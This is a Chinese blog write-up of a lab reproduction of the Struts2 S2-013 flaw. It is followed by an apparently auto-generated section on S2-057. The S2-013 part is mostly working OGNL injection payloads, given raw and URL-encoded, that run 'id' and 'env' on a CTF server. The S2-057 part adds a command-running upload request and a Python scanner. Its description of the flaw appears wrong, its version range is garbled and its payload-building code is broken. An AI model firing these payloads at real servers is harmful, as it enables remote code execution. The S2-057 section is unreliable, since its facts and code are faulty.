[struts2]s2-013 漏洞复现

本文介绍 Struts2 S2-013 漏洞原理,涉及 <s:a> 和 <s:url> 标签的 includeParams 属性配置不当导致的任意命令执行漏洞。通过构造特定 URL 参数,实现远程代码执行。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

[struts2]s2-013

环境搭建

github
buuctf

poc

在这里插入图片描述

Struts2 标签中 <s:a> 和 <s:url> 都包含一个 includeParams 属性,其值可设置为 none,get 或 all,参考官方其对应意义如下:
none - 链接不包含请求的任意参数值(默认)
get - 链接只包含 GET 请求中的参数和其值
all - 链接包含 GET 和 POST 所有参数和其值
<s:a>用来显示一个超链接,当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞。

这里直接构造链接:
记得要先url编码:

${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}

// 或

${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}
http://node3.buuoj.cn:29550/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27id%27).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%27dbapp%3D%27%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

认准exec执行系统命令即可,flag在环境变量里面,构造:

http://node3.buuoj.cn:29550/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27env%27).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%27dbapp%3D%27%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

在这里插入图片描述

### Struts2 S2-057 漏洞概述 Struts2 的 S2-057 漏洞主要源于其对多部分请求(multipart requests)处理不当,允许攻击者通过构造恶意的 Content-Disposition 头部来触发 OGNL 表达式的执行[^2]。此漏洞可能导致远程代码执行 (RCE),从而让攻击者完全控制目标服务器。 --- ### S2-057 漏洞复现环境准备 为了成功复现漏洞,需搭建如下测试环境: #### 1. **依赖组件** - Apache Struts2 版本:受影响版本为 2.3.x 前缀至 2.3.322.5.x 前缀至 2.5.10。 - Java 运行时环境 (JRE/JDK):建议使用 JDK 8 或更低版本以匹配当时的开发环境。 - Web 容器:Tomcat 是常用的容器之一。 #### 2. **配置文件调整** 确保 `struts.xml` 文件中启用了文件上传功能的相关设置: ```xml <interceptors> <interceptor-stack name="fileUploadStack"> <interceptor-ref name="defaultStack"/> <interceptor-ref name="fileUpload"/> </interceptor-stack> </interceptors> <action name="upload" class="com.example.UploadAction"> <interceptor-ref name="fileUploadStack"/> <result>/success.jsp</result> </action> ``` 上述配置表明应用支持文件上传操作,并可能暴露潜在风险。 --- ### S2-057 测试方法 以下是针对 S2-057 漏洞的具体测试流程: #### 1. 构造 HTTP 请求包 利用工具如 Burp Suite 发送自定义 POST 请求,其中包含恶意的 Content-Disposition 参数。例如: ```http POST /struts2-showcase/fileupload/upload.action HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Content-Type: multipart/form-data; boundary=---------------------------243620506915724 Content-Length: 253 -----------------------------243620506915724 Content-Disposition: form-data; name="foo"; filename="${@java.lang.Runtime@getRuntime().exec('calc')}" Content-Type: application/octet-stream test -----------------------------243620506915724-- ``` 在此示例中,`${}` 结构被用于嵌入 OGNL 表达式,尝试调用系统命令 `calc.exe` 来验证 RCE 能力。 #### 2. 验证漏洞效果 如果存在漏洞,则会观察到以下现象之一: - Windows 平台上弹出计算器窗口; - Linux/MacOS 上运行指定脚本或程序。 这证明了攻击者能够成功执行任意代码。 --- ### 编写自动化检测脚本 可以编写 Python 脚本来批量扫描是否存在此类漏洞。下面是一个简单的 PoC 实现: ```python import requests def test_s2_057(url, command='whoami'): headers = { 'User-Agent': 'Mozilla/5.0', 'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundary' } data = f'------WebKitFormBoundary\r\nContent-Disposition: form-data; name="foo"; filename="${{{"@".join(["@java", "lang", "Runtime@", "getRuntime()", ".exec(", repr(command), ")"])}}}"\r\nContent-Type: application/octet-stream\r\n\r\ntest\r\n------WebKitFormBoundary--' try: response = requests.post(url, headers=headers, data=data, timeout=10) if response.status_code == 200 and ('error' not in response.text.lower()): print(f"[+] Potential vulnerability detected at {url}") else: print(f"[-] No vulnerability found or error occurred.") except Exception as e: print(f"[!] Error during request: {e}") if __name__ == "__main__": target_url = input("Enter the URL to test: ").strip() test_s2_057(target_url) ``` 以上代码片段发送了一个带有特殊 payload 的 POST 请求给目标地址并解析响应结果判断是否有异常行为发生。 --- ### 总结 通过对 Struts2 S2-057 漏洞的学习可知,它属于典型的因输入校验不足引发的安全隐患案例。因此,在实际项目开发过程中应严格遵循最小权限原则以及充分的数据清洗机制防止类似问题再次出现。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值